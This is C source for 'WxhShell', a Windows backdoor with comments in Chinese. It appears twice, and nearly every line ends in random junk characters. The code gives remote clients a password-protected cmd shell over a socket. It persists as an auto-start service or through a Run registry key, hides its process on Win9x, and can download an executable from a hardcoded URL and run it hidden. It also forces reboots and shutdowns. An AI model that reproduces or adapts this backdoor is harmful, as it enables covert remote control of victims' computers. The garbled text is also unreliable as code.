    if(Boot(SHUTDOWN)) b}w C|\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k({\/t3i  
    else { c.f"Gv  
    closesocket(wsh); { "xln/  
    ExitThread(0); :nS;W  
    } TO*BH^5R  
    break; qdG~!h7j  
    } d90Z,nex  
  // 获取shell 7GS V  
  case 's': { G #T<`>T  
    CmdShell(wsh); B_l{<  
    closesocket(wsh); :BukUket1e  
    ExitThread(0); he-Ji  
    break; + "}=d3E6  
  } q4$+H{xB  
  // 退出 F3lw@b3])  
  case 'x': { xc:!cA{V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ror|R@;y  
    CloseIt(wsh); CGP3qHrXt  
    break; Bo+DJizu  
    } Af5D>/  
  // 离开 j9U%7u]-k  
  case 'q': { qXW})(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J.+BD\pa  
    closesocket(wsh); 8; R|  
    WSACleanup(); V~yAE @9  
    exit(1); %tt%`0  
    break; %77p5ctW  
        } .E~(h*NW  
  } nGf);U#K  
  } u@P[Vb   
>A q870n  
  // 提示信息 EIbXmkHl<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BtdXv4V  
} GOB(#vu  
  } 4Kv[e]10(  
F;!2(sPS  
  return; Q U F$@)A  
} G02m/8g3  
LFp]7Dq  
// shell模块句柄 .LRxP#B  
int CmdShell(SOCKET sock) 3PUAH  
{ E%TpJl'U  
STARTUPINFO si; m&oi8 P-6  
ZeroMemory(&si,sizeof(si)); x/MZ(A%D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^D_/=4rz8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Sf -; U  
PROCESS_INFORMATION ProcessInfo;  <n\`d  
char cmdline[]="cmd"; )g@S%Yu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "4j:[9vR\  
  return 0; rba;&D;  
} v !Kw< fp|  
1fL<&G  
// 自身启动模式 tAFti+Qb  
int StartFromService(void) &~f3psA  
{ sK=}E=  
typedef struct a)! g7u  
{ [r OaM$3|  
  DWORD ExitStatus; zN_:nY>  
  DWORD PebBaseAddress; mN5 8r"!J  
  DWORD AffinityMask; $O:w(U  
  DWORD BasePriority; 68'>Zbelb  
  ULONG UniqueProcessId; 7C?.L70ZY  
  ULONG InheritedFromUniqueProcessId; 3%<C<(  
}   PROCESS_BASIC_INFORMATION; MuEy>dl  
L1)@z8]   
PROCNTQSIP NtQueryInformationProcess; ) I@L+  
$H'X V"<o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %YlTF\-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MY nH2w]  
VnJMmMM  
  HANDLE             hProcess; "x&C5l}n  
  PROCESS_BASIC_INFORMATION pbi; z&3]%t `C  
1(GHCxA8G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^yKY'>T#d  
  if(NULL == hInst ) return 0; AzpV4(:an.  
$ 'QdFkOr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]&i+!$N_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7TX,T|>9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VLg EX4  
*Wb=WM-.  
  if (!NtQueryInformationProcess) return 0; )yb+M ez  
M`,XyIn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =j /hl  
  if(!hProcess) return 0; I7\ &Z q  
&,-p',\-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #G,XDW2"w  
xwzT#DXGJ  
  CloseHandle(hProcess); _#qe#  
I(n* _bFq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); re,.@${H  
if(hProcess==NULL) return 0; a%J6f$A#  
dyFKxn`,  
HMODULE hMod; qG >DTKIU  
char procName[255]; I8op>^N"  
unsigned long cbNeeded; C@HD(..#  
U06o ;s(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EH+~].PJd  
.1*DR]^`  
  CloseHandle(hProcess); #DP7SO  
2Q$\KRE  
if(strstr(procName,"services")) return 1; // 以服务启动 GG'Sp53GE  
7-9;PkGG.A  
  return 0; // 注册表启动 =!-5+I#e  
} ~ |,e_ zA  
^ZQCIS-R  
// 主模块 h[ 6hM^n  
int StartWxhshell(LPSTR lpCmdLine) H] qq ~bO[  
{ mR":z|6  
  SOCKET wsl; ":d*dl  
BOOL val=TRUE; jgvh[@uB?  
  int port=0; :?r*p>0$  
  struct sockaddr_in door; ! VRI_c  
gf$HuCh|  
  if(wscfg.ws_autoins) Install(); -%uy63LbHF  
5&4F,v[zp  
port=atoi(lpCmdLine); qZ G-Lh  
4&}\BU*  
if(port<=0) port=wscfg.ws_port; dB|Te"6  
u2`xC4>c  
  WSADATA data; NR/-m7#-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Odu4 Q  
.Y/-8H-3v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m(3);)d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4IGxI7~27#  
  door.sin_family = AF_INET; W<gD6+=8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TJ2/?p\x  
  door.sin_port = htons(port); iiwpSGFl]  
uaQ&&5%%J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h1%y:[_  
closesocket(wsl); ?\yB)Nd y  
return 1; \!X?zR_  
} j3 P RAe  
AZ8UXq  
  if(listen(wsl,2) == INVALID_SOCKET) { wd`R4CKhP]  
closesocket(wsl); %^^h) Wy}  
return 1; rr>~WjZ3  
} S.fXHtSx  
  Wxhshell(wsl); X"J%R/f  
  WSACleanup(); iE{Oit^aG  
`03<0L   
return 0; +IsWI;lp  
`p"U  
} CSL4P)  
*!u?  
// 以NT服务方式启动 Rc7.M"wzjX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gLCz]D.'  
{ $T)d!$  
DWORD   status = 0; vXPuyR<J  
  DWORD   specificError = 0xfffffff; F> Mr<k=@;  
U~g@TfU;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rAatJc"0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QBjY&(vY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;^.9#B,<  
  serviceStatus.dwWin32ExitCode     = 0; /2:Q6J  
  serviceStatus.dwServiceSpecificExitCode = 0; cJq<9(  
  serviceStatus.dwCheckPoint       = 0; |\p5mh  
  serviceStatus.dwWaitHint       = 0; !`h~`-]O  
:+pPr Gj"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bVmvjY4  
  if (hServiceStatusHandle==0) return; (j`l5r#X#/  
ArdJ."  
status = GetLastError(); 8c?8X=|D7  
  if (status!=NO_ERROR) Alh?0Fk3)  
{ '?L%F{g/9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?lG;,,jc,W  
    serviceStatus.dwCheckPoint       = 0; (E]"Srwh  
    serviceStatus.dwWaitHint       = 0; xfU hSt  
    serviceStatus.dwWin32ExitCode     = status; vcD'~)G(*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9_` 3IJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :,=Fx</H  
    return; '!j(u@&!  
  } e>(Wvb&4  
:dbV2'vIQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B(E tXB9  
  serviceStatus.dwCheckPoint       = 0; v7$9QVze  
  serviceStatus.dwWaitHint       = 0; R]fYe#!"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dpp@*xX>  
} @>9A$w$H|a  
v*gLNB,ZH  
// 处理NT服务事件,比如:启动、停止 "x.88,T6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?ZM^%]/+  
{ Kk56/(_S  
switch(fdwControl) kBUufV~  
{ `i{4cT8:  
case SERVICE_CONTROL_STOP: <W9) Bq4  
  serviceStatus.dwWin32ExitCode = 0; 6g5]=Q@U:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *kV#)j  
  serviceStatus.dwCheckPoint   = 0; !%)L&W_  
  serviceStatus.dwWaitHint     = 0; ]LY^9eK)>{  
  { YmA) @1@U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zXDd,ltm  
  } oYGUjI  
  return; m>+A*M8  
case SERVICE_CONTROL_PAUSE: qFGB'mIrFz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #s/{u RYQ  
  break; aliQ6_  
case SERVICE_CONTROL_CONTINUE: )m>6hk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _fe0,  
  break; rQuOt  
case SERVICE_CONTROL_INTERROGATE: %G^(T%q| m  
  break; >pJ6{Ip  
}; )<tzm'Rc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aq$62>[  
} X$ejy/+.  
jm~mhAE#  
// 标准应用程序主函数 CJtr0M<U+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^$ZI>L0+  
{ la1D2 lM  
Ty(yh(oYF`  
// 获取操作系统版本 >J?jr&i  
OsIsNt=GetOsVer(); {[rO2<MkA#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 939]8BERt  
V&$  J;  
  // 从命令行安装 t P At?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fj36K6!#?  
'XG:1Bpm  
  // 下载执行文件 gA|!$ EAM  
if(wscfg.ws_downexe) { ~&vA_/M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `mQP{od?"?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1'gKZB)TG7  
} /,-h%gj  
knI*-  
if(!OsIsNt) { #.RG1-L  
// 如果时win9x,隐藏进程并且设置为注册表启动 QGu7D #%|  
HideProc(); n^3NA| A  
StartWxhshell(lpCmdLine); | 3hT{  
} nA|gQibA  
else kwDjK"  
  if(StartFromService()) 1 NB2y[  
  // 以服务方式启动 n+:m _2T  
  StartServiceCtrlDispatcher(DispatchTable); ?T$*5d  
else :H~UyrN  
  // 普通方式启动 5n-9#J$  
  StartWxhshell(lpCmdLine); R*zBnHAb!  
@|jKO5Y  
return 0; ze-TBh/  
} JsHxQ0Tw  
%D`^  
ktkn2Twa/  
RcKQER  
=========================================== m&(%&}g  
f/$-Nl.  
3W%f#d$`  
`bBfNI?3d*  
mRg ,A\  
\pT^Zhp)  
" !4DG P28  
nEeQL~:  
#include <stdio.h> `lH1IA/3  
#include <string.h> FCUVP,"T  
#include <windows.h> Po2_ 0uX  
#include <winsock2.h> v3=&{}+j.  
#include <winsvc.h> ^\Ue7,H-  
#include <urlmon.h> 3Qm t]q  
oP 6.t-<dU  
#pragma comment (lib, "Ws2_32.lib") {PP ^Rb)  
#pragma comment (lib, "urlmon.lib") FkB6*dm-  
G "c&C  
#define MAX_USER   100 // 最大客户端连接数 VPq5xSc?  
#define BUF_SOCK   200 // sock buffer {66Q" H"I  
#define KEY_BUFF   255 // 输入 buffer dM>j<JC=  
Cw9@2E'b  
#define REBOOT     0   // 重启 "^e}C@  
#define SHUTDOWN   1   // 关机 /\oyPD`((  
,E n(gm  
#define DEF_PORT   5000 // 监听端口 EU&6 Tg  
]x5(bnW x  
#define REG_LEN     16   // 注册表键长度 GgZEg ?@  
#define SVC_LEN     80   // NT服务名长度 >b/k|?xP  
`2Z4#$.  
// 从dll定义API C.Wms}XA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i`ZHjW~`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?[NTw./'7A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QI :/,w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xIq"[?m  
Q8M:7#ySji  
// wxhshell配置信息 w|K(>5nz  
struct WSCFG { _7t|0aNo\  
  int ws_port;         // 监听端口 3.GdKP.%  
  char ws_passstr[REG_LEN]; // 口令 `CTkx?e[  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]ouUv7\  
  char ws_regname[REG_LEN]; // 注册表键名 "`8H:y  
  char ws_svcname[REG_LEN]; // 服务名 )f:!#v(K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X=*Yzz}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x3p;H02i\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =F!",a~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f0HV*%8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m;$F@JJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k=d%.kg  
K2cpf  
}; |P[D2R}  
{YxSH %  
// default Wxhshell configuration +Y>cBSO  
struct WSCFG wscfg={DEF_PORT, NXV~[  
    "xuhuanlingzhe", lN= m$J  
    1, ~8n~4  
    "Wxhshell", eaZ)1od  
    "Wxhshell", ] _]6&PZXk  
            "WxhShell Service", -h^} jP8  
    "Wrsky Windows CmdShell Service", =4w^)'/  
    "Please Input Your Password: ", CoKj'jA  
  1, B[U.CAUn  
  "http://www.wrsky.com/wxhshell.exe", ?@,f[U-  
  "Wxhshell.exe" JE8p5WaR  
    }; ^|:{,d#Y  
v2W"+QS}u  
// 消息定义模块 Ej{eq^n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %+j]vP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s].'@_~s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F%ylR^H>  
char *msg_ws_ext="\n\rExit."; STF}~`b:3  
char *msg_ws_end="\n\rQuit."; VES4x%r=  
char *msg_ws_boot="\n\rReboot..."; Sv^'CpQ  
char *msg_ws_poff="\n\rShutdown..."; [> aoDJ  
char *msg_ws_down="\n\rSave to "; K:lT-*+S  
sLpCWIy  
char *msg_ws_err="\n\rErr!"; U K]{]-  
char *msg_ws_ok="\n\rOK!"; v#YS`];B  
vSHIl"h  
char ExeFile[MAX_PATH]; "n2xn%t{  
int nUser = 0; ?#{2?%_  
HANDLE handles[MAX_USER]; T\$^>@  
int OsIsNt; LF3GVu,  
>TJKH^7n  
SERVICE_STATUS       serviceStatus; JNA}EY^2I.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hvv>UC/  
.of:#~  
// 函数声明 1SJHX1CxX  
int Install(void); =LeVJGF  
int Uninstall(void); Wp~4[f`,  
int DownloadFile(char *sURL, SOCKET wsh); #I{Yf(2Z  
int Boot(int flag); V n!az}  
void HideProc(void); 5 xzB1n8  
int GetOsVer(void);  6O|\4c;  
int Wxhshell(SOCKET wsl); ur"e F  
void TalkWithClient(void *cs); (k2J{6]  
int CmdShell(SOCKET sock); 7<C~D,x6  
int StartFromService(void); ]&tr\-3  
int StartWxhshell(LPSTR lpCmdLine); xYkgNXGs5  
@x>$_:]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S5[RSAbf*t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k;Ny%%5  
0f}Q~d=QL  
// 数据结构和表定义 '>lPq tdZ  
SERVICE_TABLE_ENTRY DispatchTable[] = (P52KD[A[  
{ Ok{:QA~#  
{wscfg.ws_svcname, NTServiceMain}, c%,6L<[  
{NULL, NULL} 3x;y}:wQa  
}; C9; X6  
$\J9F=<a  
// 自我安装 jX8C2}j  
int Install(void) ,knI26Jh  
{ a.*j8T  
  char svExeFile[MAX_PATH]; $}"Wta  
  HKEY key; y2ws*IZ"  
  strcpy(svExeFile,ExeFile); Vh[o[ U  
t-gNG!B  
// 如果是win9x系统,修改注册表设为自启动 ^1& LHrT  
if(!OsIsNt) { kG7,1teMk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]TZWFL-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ..]X<  
  RegCloseKey(key); M[3w EX^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D"XQ!1B%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?%fZvpn-  
  RegCloseKey(key); 87E3pe  
  return 0;  3usA  
    } CR PE?CRQF  
  } :W<,iqSCm  
} WHj4#v(  
else { C-b%PgA  
$j2)_(<A%Q  
// 如果是NT以上系统,安装为系统服务 +mW$D@Pf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  #=~1hk  
if (schSCManager!=0) N~<}\0  
{ la{:RlW  
  SC_HANDLE schService = CreateService oZcwbo8  
  ( d`][1rZk  
  schSCManager, &Or=_5Y`  
  wscfg.ws_svcname,  G#n)|p  
  wscfg.ws_svcdisp, 5z mHb  
  SERVICE_ALL_ACCESS, c]v3dHE_h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }Z$G=;3#  
  SERVICE_AUTO_START, v2X0Px_  
  SERVICE_ERROR_NORMAL, jO N}&/  
  svExeFile, _*B~ESC0  
  NULL, ysn[-l#  
  NULL, yNf=Kl  
  NULL,  p:>?  
  NULL, kITmo"$K  
  NULL ITY!=>S-  
  ); Hh=::Bi  
  if (schService!=0) ~W2&z]xD  
  { >{) #|pWU  
  CloseServiceHandle(schService); _N#3lU?  
  CloseServiceHandle(schSCManager); 8GRr f2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !*. nR(>d  
  strcat(svExeFile,wscfg.ws_svcname); 0aoHv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fU7:3"|s8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wgP3&4cSUc  
  RegCloseKey(key); 6i=wAkn_J  
  return 0; 2*DS_=6o  
    } V~"d`j  
  } Z8 n%=(He  
  CloseServiceHandle(schSCManager); W$&Ets8zo  
} /;m!>{({)  
} >w#3fTJ  
n\al}KG  
return 1; T eTOj|  
} 9s6lt#?b  
[|O6n"'  
// 自我卸载 {+mkXp])R  
int Uninstall(void) :=7;P)  
{ XFAt\g  
  HKEY key; BjJ gQ`X  
o5@P>\ u>  
if(!OsIsNt) { w3UJw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *K)53QKlE  
  RegDeleteValue(key,wscfg.ws_regname); 6]49kHgMhe  
  RegCloseKey(key); eL4@% ]o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "T[jQr  
  RegDeleteValue(key,wscfg.ws_regname); 69[k ?')LM  
  RegCloseKey(key); Y[]t_o)  
  return 0; u)]sJ1p  
  } 5Cka."bQ  
} &b8D'XQu  
} J%B?YO,  
else { zQfxw?~A  
yC$7XSr=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -T6%3>h  
if (schSCManager!=0) >{=RQgGy  
{ +Z0E?,Oz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~m&oa@*=y  
  if (schService!=0) u <2sb;a  
  { 7ij=%if2@k  
  if(DeleteService(schService)!=0) { gZ  Si\m>  
  CloseServiceHandle(schService); OB@t(KNx*P  
  CloseServiceHandle(schSCManager); g o Z#  
  return 0; `W S  
  } ,"R_ve  
  CloseServiceHandle(schService); 'F~SNIay  
  } ;$;/#8`>  
  CloseServiceHandle(schSCManager); p5BcDYOw`  
} /YR $#&N2  
} /aEQ3x  
bx6}zkf&  
return 1; \~1+T  
} 9xp ;$14  
|?W   
// 从指定url下载文件 8{ e 3  
int DownloadFile(char *sURL, SOCKET wsh) ;S j* {  
{ ^yZEpQN_  
  HRESULT hr; I2Rp=L:z5  
char seps[]= "/"; tTamFL6  
char *token; <a3XV  
char *file; ~`f B\7M  
char myURL[MAX_PATH]; h:90K  
char myFILE[MAX_PATH]; T ua @w+  
DZZt%n8J  
strcpy(myURL,sURL); Z%Kj^ M  
  token=strtok(myURL,seps); 8r,%!70  
  while(token!=NULL) |th )Q  
  { ((q(Q9(F  
    file=token; je% 12DM  
  token=strtok(NULL,seps); =? aB@&  
  } __npX_4%S  
#O ]IXo(5z  
GetCurrentDirectory(MAX_PATH,myFILE); aoX$,~oI5  
strcat(myFILE, "\\"); 4!|ar?Zy  
strcat(myFILE, file); \Y p oJ!-  
  send(wsh,myFILE,strlen(myFILE),0); ~5529  
send(wsh,"...",3,0); Ey%NqOs0#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @]4s&;  
  if(hr==S_OK) J n/=v\K@  
return 0; nVD YAg'  
else WRM}gWv*  
return 1; A/aQpEb%  
WKML#U]5T  
} -]%@,L^@  
e)7r  
// 系统电源模块 x N)Ck76  
int Boot(int flag) Op~+yMef  
{ (1vS)v $L  
  HANDLE hToken; #\QC%"%f  
  TOKEN_PRIVILEGES tkp; voEc'JET  
mD3#$E!A1  
  if(OsIsNt) { [8#l~ |U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !y.7"G*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3\ed4D  
    tkp.PrivilegeCount = 1; &|eQLY #l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2ra4t]f6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hI 0l2OE  
if(flag==REBOOT) { `Fr$q1qae{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i=@*F$,  
  return 0; uI/ A_  
} LLiX%XOh  
else { (ShJ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4LLCb7/5lP  
  return 0; l:HuG!  
} e +U o-CO  
  } jT',+   
  else { /8T{bJ5  
if(flag==REBOOT) { jL&F7itP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sq>UMfl&  
  return 0; 6yqp<D0SP)  
} 'z/hj>B<  
else { XlPy(>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \&0NH=*^  
  return 0; x`&W[AA4  
} }$jIvb,3?  
} `^ok5w"oi  
aL}_j#m{  
return 1; v3Kqs:"\  
} pm+[,u!i  
3( kZfH~  
// win9x进程隐藏模块 fmh]Y/UC  
void HideProc(void) `'`XB0vb  
{ \&fK8H1  
&/p 9+gd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PR0]:t)E  
  if ( hKernel != NULL ) /<~IKVz\&  
  { t*#T~3p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J5wq}<8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zh*I0m   
    FreeLibrary(hKernel); w'C(? ?mH  
  } FU zY&@Y  
= 4L.  
return; e!#:h4I  
} fy5)Tih%.*  
4[D@[k As  
// 获取操作系统版本 zQ~nS  
int GetOsVer(void) TQE_zOa:  
{ S3w? X  
  OSVERSIONINFO winfo; lU maNZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %-D2I  
  GetVersionEx(&winfo); eo !{rs@f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pB`<4+"9  
  return 1; oVdmgmT.Y  
  else <>cajQ@  
  return 0; sy;~(rpg  
} 3 }XS| Y  
}I"^WCyH  
// 客户端句柄模块 (Q&Z/Fe  
int Wxhshell(SOCKET wsl) C'Q} Z_  
{ bA:abO  
  SOCKET wsh; SX#ATf6#  
  struct sockaddr_in client; 0t8-oui  
  DWORD myID; [LE_lATjU  
raCxHY  
  while(nUser<MAX_USER) B^Vb=* QRo  
{ y7JJ[:~~  
  int nSize=sizeof(client); 5K0Isuu>>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 74_ji!  
  if(wsh==INVALID_SOCKET) return 1; e([}dz  
Ad[-YT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xpae0vw  
if(handles[nUser]==0) "bqB@)  
  closesocket(wsh); bTJ7RqL  
else ;TYkJH"  
  nUser++; ~~&M&Fe  
  } k 2~j:&p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -O\`G<s%  
c(:GsoO  
  return 0; d4/ZOj+%  
} 1:?Wv DN=  
\7RP6o  
// 关闭 socket 'Q# KjY  
void CloseIt(SOCKET wsh) ].eGsh2  
{ ral0@\T  
closesocket(wsh); >Gkkr{s9  
nUser--; =Z2sQQVS  
ExitThread(0); tq{ aa  
} w;XXjT  
ffdyDUzQ  
// 客户端请求句柄 z' @F@k6  
void TalkWithClient(void *cs) ~e|~c<!z8@  
{ D9h\=[%e  
Hly$ Wm  
  SOCKET wsh=(SOCKET)cs; Tw$lakw  
  char pwd[SVC_LEN]; 4q2aVm  
  char cmd[KEY_BUFF]; E$gcd#rT  
char chr[1]; (fC [Y  
int i,j; Q!c*2hI  
h-V5&em"_  
  while (nUser < MAX_USER) { JVRK\A|R  
6u7>S?  
if(wscfg.ws_passstr) { nCt:n}+C7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > #SQDVFf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ."dmL=  
  //ZeroMemory(pwd,KEY_BUFF); p\Jz<dkN1  
      i=0; RDZl@ps8  
  while(i<SVC_LEN) { koFY7;_<?  
k@^)>J^  
  // 设置超时 LbnR=B!  
  fd_set FdRead; ;L|%H/SH  
  struct timeval TimeOut; e(sQgtM6  
  FD_ZERO(&FdRead); oE}1D?3Sp  
  FD_SET(wsh,&FdRead); E}UlQq  
  TimeOut.tv_sec=8; H13|bM<  
  TimeOut.tv_usec=0; dAR):ZKq?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [E+#+-n7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1N2s[ \q$  
: -OHD#>%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bEbnZ<kz*  
  pwd=chr[0]; m3,i{  
  if(chr[0]==0xd || chr[0]==0xa) { t68h$u  
  pwd=0; _&P![o)x  
  break; b2hB'!m  
  } ~b*f2UVs  
  i++; xI$B",?(  
    } 'F1NBL   
g9g^zd,  
  // 如果是非法用户,关闭 socket V#zDYrp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n>{ >3?  
} nI&Tr_"tm  
72.Z E%Ue  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ygr1 S(=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w[t!?(![>  
Iq MXd K|  
while(1) { K_(o D O  
sJ,:[  
  ZeroMemory(cmd,KEY_BUFF); .xS}/^8iD  
wUab)L  
      // 自动支持客户端 telnet标准   !>+YEZ"  
  j=0; Z8Qmj5'[  
  while(j<KEY_BUFF) { 6s@'z<Ct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !>TH#sU$  
  cmd[j]=chr[0]; !q mnMY$  
  if(chr[0]==0xa || chr[0]==0xd) { wpO-cJ!,  
  cmd[j]=0; /2 ')u|  
  break; |}t[- a  
  } VU9w2/cM  
  j++; %&0_0BU  
    } b$[O^p9x  
\:, dWL u  
  // 下载文件 q,A;d^g  
  if(strstr(cmd,"http://")) { `L/\F,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >d%;+2  
  if(DownloadFile(cmd,wsh)) 4vQ]7`I.f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ,SNN[a  
  else F6`$5%$M;?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { <f]6  
  } v@(Y:\>  
  else { RX3P %xZ  
: A9G>qg  
    switch(cmd[0]) { BxVo>r  
  0rP`BK|  
  // 帮助 bS[;d5  
  case '?': { 'tm%3` F  
